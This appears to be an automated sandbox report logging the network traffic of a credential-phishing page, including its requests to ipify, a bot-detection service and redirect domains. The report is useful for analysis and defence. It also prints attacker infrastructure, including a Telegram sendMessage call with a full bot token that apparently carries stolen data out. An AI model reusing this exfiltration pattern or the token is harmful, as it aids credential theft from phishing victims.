Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-2b6248c5408d9da6.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/nJY9rCDP1SlCE9MB38Ggm/_buildManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/nJY9rCDP1SlCE9MB38Ggm/_ssgManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Mon, 24 Mar 2025 13:19:20 GMT
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Mon, 24 Mar 2025 13:19:20 GMT
Source: global traffic	HTTP traffic detected: GET /gmail.com HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/85810ccb10afdd892ef5940532b283f0?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gmail.com HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/85810ccb10afdd892ef5940532b283f0?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://oka.greenthreads.hrSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/detect_bot HTTP/1.1Host: rail-bot-production.up.railway.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: nerhol.constructlonjproy.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Host: nerhol.constructlonjproy.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nerhol.constructlonjproy.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: nerhol.constructlonjproy.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nerhol.constructlonjproy.com/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nerhol.constructlonjproy.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nerhol.constructlonjproy.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: nerhol.constructlonjproy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: nrro.ogquwu.top
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: patnero.thesilent.de
Source: global traffic	DNS traffic detected: DNS query: classntfst.shop
Source: global traffic	DNS traffic detected: DNS query: oka.greenthreads.hr
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: www.gravatar.com
Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: rail-bot-production.up.railway.app
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: nerhol.constructlonjproy.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.03437329500068646:1742833486:iuQrk-AcpKdyZCap5AMcxFsdMyevLxwENAPso7axLao/9257d3764fced911 HTTP/1.1Host: nrro.ogquwu.topConnection: keep-aliveContent-Length: 16562sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://nrro.ogquwu.topSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 17:18:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeaccess-control-allow-headers: Content-Type, Authorizationaccess-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-origin: *content-security-policy: default-src 'none'rndr-id: db540d47-3811-4ea5vary: Accept-Encodingx-content-type-options: nosniffx-powered-by: Expressx-render-origin-server: Rendercf-cache-status: DYNAMICServer: cloudflareCF-RAY: 9257d39d5aeff834-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 24 Mar 2025 17:18:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dL3gAzJF3zANH%2Fp%2FUSnBwYLHhQmK%2FhWP61D2FsOi0c6%2BZslodNwLOEbHsT2P9uEeHOuajpMzDm665b50XaMXff5xaYhk80RY0c0I%2FgkXAlDfRTHamD3vG5HGvfoUP3jvbZwvZRlKkAe2V1vbYyUQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9257d43e4885423e-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 24 Mar 2025 17:18:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iz1Y5PMDbT04BXAmnOo5GmyMt7yJNC6WFI0sksuxhunoFne9YUHUcZAoV7O7LQMLEttNFmPYxqc390Mo3I8JIboviCoJilzYG5i7xQcMb7vaUGXhj9YoNFSs3aHi7Hlpn%2B5xkqvMbaVnDlNvSUmu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9257d445eabe590b-EWR

Source: chromecache_71.1.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_70.1.dr, chromecache_71.1.dr	String found in binary or memory: https://api64.ipify.org?format=json
Source: chromecache_69.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_71.1.dr	String found in binary or memory: https://logo.clearbit.com/
Source: chromecache_71.1.dr	String found in binary or memory: https://nerhol.constructlonjproy.com/
Source: chromecache_70.1.dr	String found in binary or memory: https://patnero.thesilent.de/api/get_doc_url
Source: chromecache_71.1.dr	String found in binary or memory: https://rail-bot-production.up.railway.app/api/detect_bot
Source: chromecache_90.1.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: chromecache_67.1.dr, chromecache_59.1.dr	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: chromecache_67.1.dr, chromecache_59.1.dr	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: chromecache_71.1.dr	String found in binary or memory: https://www.gravatar.com/avatar/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
